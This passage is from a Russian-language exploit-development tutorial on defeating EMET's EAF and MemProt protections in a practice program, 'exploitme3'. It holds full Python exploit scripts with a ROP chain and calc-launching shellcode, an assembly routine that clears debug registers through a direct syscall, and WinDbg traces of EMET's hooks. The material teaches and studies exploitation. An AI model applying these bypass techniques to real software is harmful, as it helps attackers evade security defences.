"\x0F\x23\xD0" + # mov dr2,eax
"\x0F\x23\xD8" + # mov dr3,eax
"\x0F\x23\xF0" + # mov dr6,eax
"\x0F\x23\xF8" # mov dr7,eax
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
Если запустим exploitme3, получим краш.
Откроем его в WinDbg и нажмем F5 (Go). Выполнение остановится на Single Step Exception. Чтобы отключить это раздражающее исключение, можно попросить WinDbg игнорировать его, выполнив следующую команду:
sxd sse
Где SSE означает Single Step Exception.
После того, как мы снова нажмем F5, сгенерируется еще одно исключение, и мы узнаем наш код:
0034d64a 0f23c0 mov dr0,eax <-------------- exception generated here
0034d64d 0f23c8 mov dr1,eax
0034d650 0f23d0 mov dr2,eax
0034d653 0f23d8 mov dr3,eax
0034d656 0f23f0 mov dr6,eax
0034d659 0f23f8 mov dr7,eax
Проблема здесь в том, что мы не можем изменять отладочные регистры в User Mode (Ring 3). Единственный способ сделать это, состоит в том, чтобы передать эту задачу ОС.
Очистка отладочных регистров (2)
Я загуглил по такой фразе “mov dr0 privileged instruction” и нашёл такую статью:
[INDENT]www.symantec.com/connect/articles/windows-anti-debug-reference[/INDENT]
В ней можно найти способ модификации отладочных регистров. Он заключается в том, чтобы сначала определить обработчик исключений, а затем сгенерировать исключение (например, такое как деление на нуль). Когда произойдет исключение, Windows вызовет обработчик исключения и передаст ему указатель на структуру CONTEXT. Эта структура содержит значения регистров в момент, когда было сгенерировано исключение. Обработчик может модифицировать эти значения. После того, как он завершит свою работу, Windows распространит сделанные изменения на реальные регистры. Таким образом, мы можем изменить регистры отладки.
Вот код из статьи:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret
А вот наш C/C++ код:
#include <Windows.h>
#include <winnt.h>
#include <stdio.h>
int main() {
CONTEXT context;
printf("sizeof(context) = 0x%x\n", sizeof(context));
printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);
_asm {
// Attach handler to the exception handler chain.
call here
here:
add dword ptr [esp], 0x22 // [esp] = handler
push dword ptr fs:[0]
mov fs:[0], esp
// Generate the exception.
xor eax, eax
div eax
// Restore the exception handler chain.
pop dword ptr fs:[0]
add esp, 4
jmp skip
handler:
mov ecx, [esp + 0Ch]; skip div
add dword ptr [ecx + 0B8h], 2 // skip the "div eax" instruction
xor eax, eax
mov dword ptr [ecx + 04h], eax // clean dr0
mov dword ptr [ecx + 08h], 0x11223344 // just for debugging!
mov dword ptr [ecx + 0Ch], eax // clean dr2
mov dword ptr [ecx + 10h], eax // clean dr3
mov dword ptr [ecx + 14h], eax // clean dr6
mov dword ptr [ecx + 18h], eax // clean dr7
ret
skip:
}
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
if (context.Dr1 == 0x11223344)
printf("Everything OK!\n");
else
printf("Something's wrong :(\n");
return 0;
}
Первая часть отображает смещения для EIP и отладочных регистров. Это сделано для того, чтобы мы могли убедиться в том, что смещения в ASM-коде правильные. Дальше идет код. Обратите внимание, мы присваиваем значение 0x11223344 регистру DR1 только для тестирования. В конце мы используем GetThreadContext для проверки того, что наш метод работает.
Эта программа не будет работать корректно, потому что SAFESEH.
И действительно, Visual Studio дает нам следующее предупреждение:
1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler
Давайте отключим SAFESEH. Для этого перейдем в “Project => Properties” и изменим конфигурацию для Release, как показано ниже:
- Configuration Properties => Linker => Advanced => Image Has Safe Exception Handlers: No (/SAFESEH:NO)
Теперь программа должна работать корректно.
У нас не будет проблем с SAFESEH, когда мы вставим этот код в наш шеллкод, потому что наш код будет на стеке, а не внутри образа (image) exploitme3.
Вот Python скрипт для создания name.dat:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\xE8\x00\x00\x00\x00" + # call here (013E1008h)
#here:
"\x83\x04\x24\x22" + # add dword ptr [esp],22h ; [esp] = handler
"\x64\xFF\x35\x00\x00\x00\x00" + # push dword ptr fs:[0]
"\x64\x89\x25\x00\x00\x00\x00" + # mov dword ptr fs:[0],esp
"\x33\xC0" + # xor eax,eax
"\xF7\xF0" + # div eax,eax
"\x64\x8F\x05\x00\x00\x00\x00" + # pop dword ptr fs:[0]
"\x83\xC4\x04" + # add esp,4
"\xEB\x1A" + # jmp here+3Dh (013E1045h) ; jmp skip
#handler:
"\x8B\x4C\x24\x0C" + # mov ecx,dword ptr [esp+0Ch]
"\x83\x81\xB8\x00\x00\x00\x02" + # add dword ptr [ecx+0B8h],2
"\x33\xC0" + # xor eax,eax
"\x89\x41\x04" + # mov dword ptr [ecx+4],eax
"\x89\x41\x08" + # mov dword ptr [ecx+8],eax
"\x89\x41\x0C" + # mov dword ptr [ecx+0Ch],eax
"\x89\x41\x10" + # mov dword ptr [ecx+10h],eax
"\x89\x41\x14" + # mov dword ptr [ecx+14h],eax
"\x89\x41\x18" + # mov dword ptr [ecx+18h],eax
"\xC3" # ret
#skip:
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
Если запустим explitme3, получим краш. Возможно мы что-то сделали не так?
Давайте отладим программу в WinDbg. Откройте exploitme3.exe в WinDbg и нажмите F5 (Go). Получив знакомое исключение (Single Step Exception), введите команду sxd sse и снова нажмите F5. Как и ожидалось, мы получим исключение, вызванное делением на нуль:
(610.a58): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
Это First-chance Exception, поэтому если мы нажмем F5 (Go) снова, оно будет передано в программу.
0:000> !exchain
0015d844: 0015d877
0015ff50: exploitme3!_except_handler4+0 (00381739)
CRT scope 0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)
func: exploitme3!__tmainCRTStartup+129 (003812de)
0015ff9c: ntdll!_except_handler4+0 (76f071f5)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)
func: ntdll!__RtlUserThreadStart+63 (76f090eb)
Все кажется правильно!
После того как нажмем F5 (Go), мы попадем сюда:
(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
Почему программа не обрабатывает исключение? Причина в SafeSEH!
Я забыл, что для обработчика недостаточно находиться в модуле без SafeSEH: он вообще не должен быть в стеке!
Очистка отладочных регистров (3)
SafeSEH может быть обойден, но, вероятно, не без помощи некоторых жестко заданных адресов, которые помогут его победить.
Нужно еще добавить, что если бы мы не зарезервировали больше памяти в стеке, путем выделения там массива moreStack (см. начальный код программы на C/C++), то наш шеллкод перезаписал бы цепочку обработчиков исключений и таким образом, SEHOP, все равно остановил его. SEHOP проверяет, что цепочка обработчиков исключений заканчивается на ntdll!_except_handler4. Мы не можем восстановить эту цепочку, если не знаем адрес этого обработчика. Поэтому данный путь не является жизнеспособным.
Другой способ очистить отладочные регистры состоит в использовании kernel32!SetThreadContext. То что у нас нет адреса этой функции, не значит что мы должны сдаваться. Мы знаем, что SetThreadContext не может очищать отладочные регистры в User Mode, поэтому, в какой-то момент, для этой цели, она должна вызвать какой-то Ring 0 сервис.
Ring 0 сервис обычно вызывается через прерывания или специфические инструкции процессора, такие как SYSENTER (Intel) и SYSCALL (AMD). К счастью для нас, эти сервисы обычно определяются небольшими константами, которые жестко прописаны в ОС и таким образом не меняются после перезагрузки и даже после выхода новых сервис паков.
Давайте начнем с написания небольшой программы на C/C++:
#include <Windows.h>
#include <stdio.h>
int main() {
CONTEXT context;
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
context.Dr0 = 0;
context.Dr1 = 0;
context.Dr2 = 0;
context.Dr3 = 0;
context.Dr6 = 0;
context.Dr7 = 0;
if (!SetThreadContext(GetCurrentThread(), &context))
printf("Error!\n");
else
printf("OK!\n");
return 0;
}
Теперь отладим её с помощью WinDbg. Поставьте брейкпойнт на kernel32!SetThreadContext и нажмите F5 (Go). Функция SetThreadContext очень короткая:
kernel32!SetThreadContext:
764358d3 8bff mov edi,edi
764358d5 55 push ebp
764358d6 8bec mov ebp,esp
764358d8 ff750c push dword ptr [ebp+0Ch] <--------- 002df954 = &context
764358db ff7508 push dword ptr [ebp+8] <--------- 0xfffffffe = GetCurrentThread()
764358de ff15f8013b76 call dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]
764358e4 85c0 test eax,eax
764358e6 7d0a jge kernel32!SetThreadContext+0x1f (764358f2)
764358e8 50 push eax
764358e9 e846bdf7ff call kernel32!BaseSetLastNTError (763b1634)
764358ee 33c0 xor eax,eax
764358f0 eb03 jmp kernel32!SetThreadContext+0x22 (764358f5)
764358f2 33c0 xor eax,eax
764358f4 40 inc eax
764358f5 5d pop ebp
764358f6 c20800 ret 8
Обратите внимание, в первый вызов передается два параметра. Давайте зайдем внутрь этого вызова:
ntdll!ZwSetBootOptions:
76eb1908 b84f010000 mov eax,14Fh
76eb190d 33c9 xor ecx,ecx
76eb190f 8d542404 lea edx,[esp+4]
76eb1913 64ff15c0000000 call dword ptr fs:[0C0h]
76eb191a 83c404 add esp,4
76eb191d c20800 ret 8
ntdll!ZwSetContextThread: <------------------------ we are here!
76eb1920 b850010000 mov eax,150h
76eb1925 33c9 xor ecx,ecx
76eb1927 8d542404 lea edx,[esp+4]
76eb192b 64ff15c0000000 call dword ptr fs:[0C0h]
76eb1932 83c404 add esp,4
76eb1935 c20800 ret 8
ntdll!NtSetDebugFilterState:
76eb1938 b851010000 mov eax,151h
76eb193d b90a000000 mov ecx,0Ah
76eb1942 8d542404 lea edx,[esp+4]
76eb1946 64ff15c0000000 call dword ptr fs:[0C0h]
76eb194d 83c404 add esp,4
76eb1950 c20c00 ret 0Ch
76eb1953 90 nop
Это кажется очень интересным! Что это за вызов? Выше и ниже мы видим другие похожие функции с разными значениями для регистра EAX. EAX может быть номером сервиса. Значение в RET инструкции зависит от количества аргументов, конечно.
Заметьте, что EDX будет указывать на два аргумента в стеке:
0:000> dd edx L2
002df93c fffffffe 002df954
Давайте зайдем в этот вызов:
747e2320 ea1e277e743300 jmp 0033:747E271E
Far Jump: как интересно! Когда мы зайдем в этот вызов, обнаружим, что мы оказались сразу после инструкции CALL.
ntdll!ZwQueryInformationProcess:
76eafad8 b816000000 mov eax,16h
76eafadd 33c9 xor ecx,ecx
76eafadf 8d542404 lea edx,[esp+4]
76eafae3 64ff15c0000000 call dword ptr fs:[0C0h]
76eafaea 83c404 add esp,4 <--------------------- we are here!
76eafaed c21400 ret 14h
Почему это происходит и каково назначение этого Far Jump? Возможно он используется для перехода на 64-битный код? Повторив весь процесс в 64-битной версии WinDbg, мы узнаем, что этот джамп приведет нас сюда:
wow64cpu!CpupReturnFromSimulatedCode:
00000000`747e271e 67448b0424 mov r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932
00000000`747e2723 458985bc000000 mov dword ptr [r13+0BCh],r8d
00000000`747e272a 4189a5c8000000 mov dword ptr [r13+0C8h],esp
00000000`747e2731 498ba42480140000 mov rsp,qword ptr [r12+1480h]
00000000`747e2739 4983a4248014000000 and qword ptr [r12+1480h],0
00000000`747e2742 448bda mov r11d,edx
Мы были правы! Если мы продолжим идти по коду, то дойдем до следующего вызова:
00000000`747e276e 8bc8 mov ecx,eax
00000000`747e2770 ff150ae9ffff call qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]
Заметьте, что ECX равен 150, наш номер сервиса. Нам не нужно идти так глубоко. В любом случае, мы достигнем этого кода:
ntdll!NtSetInformationThread:
00000000`76d01380 4c8bd1 mov r10,rcx
00000000`76d01383 b80a000000 mov eax,0Ah
00000000`76d01388 0f05 syscall
00000000`76d0138a c3 ret
Итак, в вызове Ring 0 сервиса участвует два перехода:
- из 32-битного кода (Ring 3) в 64-битный код (Ring 3)
- из 64-битного кода (Ring 3) в 64-битный код (Ring 0)
Но нам не нужно иметь дело со всем этим. Всё что нам нужно сделать это:
- Установить EAX = 0x150
- Очистить ECX
- Сделать так, чтобы EDX указывал на наши аргументы
- Вызывать код указывающий на fs:[0C0h]
Как можно видеть, этот код не подвержен ASLR.
Теперь мы наконец-то можем написать код для очистки отладочных регистров:
mov eax, 150h
xor ecx, ecx
sub esp, 2cch ; makes space for CONTEXT
mov dword ptr [esp], 10010h ; CONTEXT_DEBUG_REGISTERS
mov dword ptr [esp + 4], ecx ; context.Dr0 = 0
mov dword ptr [esp + 8], ecx ; context.Dr1 = 0
mov dword ptr [esp + 0ch], ecx ; context.Dr2 = 0
mov dword ptr [esp + 10h], ecx ; context.Dr3 = 0
mov dword ptr [esp + 14h], ecx ; context.Dr6 = 0
mov dword ptr [esp + 18h], ecx ; context.Dr7 = 0
push esp
push 0fffffffeh ; current thread
mov edx, esp
call dword ptr fs : [0C0h] ; this also decrements ESP by 4
add esp, 4 + 2cch + 8
В конце кода, мы восстанавливаем ESP, но это не является строго необходимым.
Вот полный скрипт на Питоне:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\xB8\x50\x01\x00\x00" + # mov eax,150h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x8B\xD4" + # mov edx,esp
"\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h]
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
Если запустим exploitme3.exe, появится калькулятор! Мы обошли EAF! Можно так же включить EAF+, ничего не изменится.
MemProt
В нашем эксплойте мы используем VirtualProtect, чтобы сделать участок стека, где лежит шеллкод, исполняемым. Чтобы этому воспрепятствовать в EMET реализована техника MemProt. Давайте включим её для exploitme3.exe и попробуем запустить эту программу снова. Как и ожидалось, MemProt остановит выполнение нашего шеллкода и exploitme3 вызовет краш.
Давайте посмотрим на работу программы в отладчике и выясним, что же там такое происходит. Откройте exploitme3.exe в WinDbg и поставьте брейкпойнт на exploitme3!f. После срабатывания брейкпойнта, пройдите через весь код функции f до инструкции RET. После её выполнения мы попадем на наш ROP-код. Продолжайте идти дальше, до тех пор, пока вы не дойдете до перехода (jmp) на VirtualProtect.
Здесь мы видим что-то странное:
kernel32!VirtualProtectStub:
763b4327 e984c1b5c0 jmp 36f104b0 <------------------ is this a hook?
763b432c 5d pop ebp
763b432d e996cdffff jmp kernel32!VirtualProtect (763b10c8)
763b4332 8b0e mov ecx,dword ptr [esi]
763b4334 8908 mov dword ptr [eax],ecx
763b4336 8b4e04 mov ecx,dword ptr [esi+4]
763b4339 894804 mov dword ptr [eax+4],ecx
763b433c e9e9eaffff jmp kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)
763b4341 8b85d0feffff mov eax,dword ptr [ebp-130h]
Эта функция начинается с инструкции JMP! Посмотрим куда она нас приведет:
36f104b0 83ec24 sub esp,24h
36f104b3 68e88b1812 push 12188BE8h
36f104b8 6840208f70 push offset EMET!EMETSendCert+0xac0 (708f2040)
36f104bd 68d604f136 push 36F104D6h
36f104c2 6804000000 push 4
36f104c7 53 push ebx
36f104c8 60 pushad
36f104c9 54 push esp
36f104ca e8816c9a39 call EMET+0x27150 (708b7150)
36f104cf 61 popad
36f104d0 83c438 add esp,38h
36f104d3 c21000 ret 10h
Окей, это EMET. Инструкция JMP является хуком, при помощи которого EMET перехватывает вызовы VirtualProtect.
Если бы не было этого хука, VirtualProtectStub вызывал kernel32!VirtualProtect. Давайте посмотрим на это.
0:000> u kernel32!VirtualProtect
kernel32!VirtualProtect:
763b10c8 ff2518093b76 jmp dword ptr [kernel32!_imp__VirtualProtect (763b0918)]
763b10ce 90 nop
763b10cf 90 nop
763b10d0 90 nop
763b10d1 90 nop
763b10d2 90 nop
kernel32!WriteProcessMemory:
763b10d3 ff251c093b76 jmp dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]
763b10d9 90 nop
Тут мы видим просто редирект, который не имеет ничего общего с EMET:
0:000> u poi(763b0918)
KERNELBASE!VirtualProtect:
7625efc3 e9d815cbc0 jmp 36f105a0 <----------------- another hook from EMET
7625efc8 ff7514 push dword ptr [ebp+14h]
7625efcb ff7510 push dword ptr [ebp+10h]
7625efce ff750c push dword ptr [ebp+0Ch]
7625efd1 ff7508 push dword ptr [ebp+8]
7625efd4 6aff push 0FFFFFFFFh
7625efd6 e8c1feffff call KERNELBASE!VirtualProtectEx (7625ee9c)
7625efdb 5d pop ebp
Обратите внимание на хук от EMET. В то время как VirtualProtect работает с текущим процессом, VirtualProtectEx дает возможность указать конкретный процесс, с которым вы хотите работать. Как можно видеть, VirtualProtect вызывает VirtualProtectEx с дополнительным значением -1, которое указывает на текущий процесс. Остальные параметры те же, что и у VirtualProtect.
Теперь давайте посмотрим на VirtualProtectEx:
0:000> u KERNELBASE!VirtualProtectEx
KERNELBASE!VirtualProtectEx:
7625ee9c e97717cbc0 jmp 36f10618 <----------------- another hook from EMET
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h]
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h]
7625eeb2 50 push eax
0:000> u
KERNELBASE!VirtualProtectEx+0x17:
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax
7625eeb7 ff7508 push dword ptr [ebp+8]
7625eeba ffd6 call esi <------------------- calls NtProtectVirtualMemory
7625eebc 8bf8 mov edi,eax
7625eebe 85ff test edi,edi
7625eec0 7c05 jl KERNELBASE!VirtualProtectEx+0x2b (7625eec7)
7625eec2 33c0 xor eax,eax
И снова хук от EMET. Однако VirtualProtectEx вызывает NtProtectVirtualMemory:
0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)
ntdll!ZwProtectVirtualMemory:
76eb0038 e9530606c0 jmp 36f10690 <----------------- this is getting old...
76eb003d 33c9 xor ecx,ecx
76eb003f 8d542404 lea edx,[esp+4]
76eb0043 64ff15c0000000 call dword ptr fs:[0C0h]
76eb004a 83c404 add esp,4
76eb004d c21400 ret 14h
ntdll!ZwQuerySection:
76eb0050 b84e000000 mov eax,4Eh
76eb0055 33c9 xor ecx,ecx
А это уже выглядит знакомым: ZwProtectVirtualMemory вызывает Ring 0 сервис! Заметьте, что номер сервиса был перезаписан хуком от EMET, но если исходить из номера следующего сервиса, который равен 0x4E, то наш очевидно должен быть под номером 0x4D.
